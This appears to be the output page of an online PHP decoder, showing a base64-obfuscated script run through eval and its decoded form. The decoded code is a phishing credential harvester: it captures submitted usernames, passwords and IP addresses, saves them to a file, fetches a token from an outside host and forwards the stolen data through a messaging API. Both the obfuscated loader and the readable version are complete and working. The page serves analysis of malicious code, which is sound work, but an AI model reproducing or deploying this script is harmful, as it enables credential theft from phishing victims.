Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $data = 'aWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKJHVzZXIgPSAkX1..
Decoded Output download
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$user = $_POST['user'];
$pass = $_POST['pass'];
$ip = $_SERVER['REMOTE_ADDR'];
$sms = "
INFORMASI AKUN
Akun: ". $user . "
Sandi: ". $pass ."
Ip: ". $ip ."
";
$file = fopen("result.txt", "a");
fwrite($file, $sms);
fclose($file);
echo "Data berhasil disimpan.";
} else {
echo "Metode request tidak valid.";
}
$id = include("user.php");
$bot = "http://abc-token.rf.gd/1.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $bot);
curl_setopt($ch,
CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$YZ = ($response);
$url = "https://api.fonnte.com/send?token=". $YZ . "&target=". $id ."&message=" . urlencode($sms);
header("Location: " . $url);
Did this file decode correctly?
Original Code
<?php
$data = 'aWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsKJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsKJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiRzbXMgPSAiCklORk9STUFTSSBBS1VOCkFrdW46ICIuICR1c2VyIC4gIgpTYW5kaTogIi4gJHBhc3MgLiIKSXA6ICAiLiAkaXAgLiIKIjsgIAoKICAkZmlsZSA9IGZvcGVuKCJyZXN1bHQudHh0IiwgImEiKTsKICBmd3JpdGUoJGZpbGUsICRzbXMpOwogIGZjbG9zZSgkZmlsZSk7CgogIGVjaG8gIkRhdGEgYmVyaGFzaWwgZGlzaW1wYW4uIjsKfSBlbHNlIHsKICBlY2hvICJNZXRvZGUgcmVxdWVzdCB0aWRhayB2YWxpZC4iOwp9CiRpZCA9IGluY2x1ZGUoInVzZXIucGhwIik7CiRib3QgPSAiaHR0cDovL2FiYy10b2tlbi5yZi5nZC8xLnBocCI7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkYm90KTsKY3VybF9zZXRvcHQoJGNoLCAKQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOwpjdXJsX2Nsb3NlKCRjaCk7CgokWVogPSAoJHJlc3BvbnNlKTsKCiR1cmwgPSAiaHR0cHM6Ly9hcGkuZm9ubnRlLmNvbS9zZW5kP3Rva2VuPSIuICRZWiAuICImdGFyZ2V0PSIuICRpZCAuIiZtZXNzYWdlPSIgLiB1cmxlbmNvZGUoJHNtcyk7CgpoZWFkZXIoIkxvY2F0aW9uOiAiIC4gJHVybCk7';
$decode = base64_decode($data);
eval($decode);
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 398c8cc34d147c1d57c515c3e81290b5 |
Eval Count | 1 |
Decode Time | 41 ms |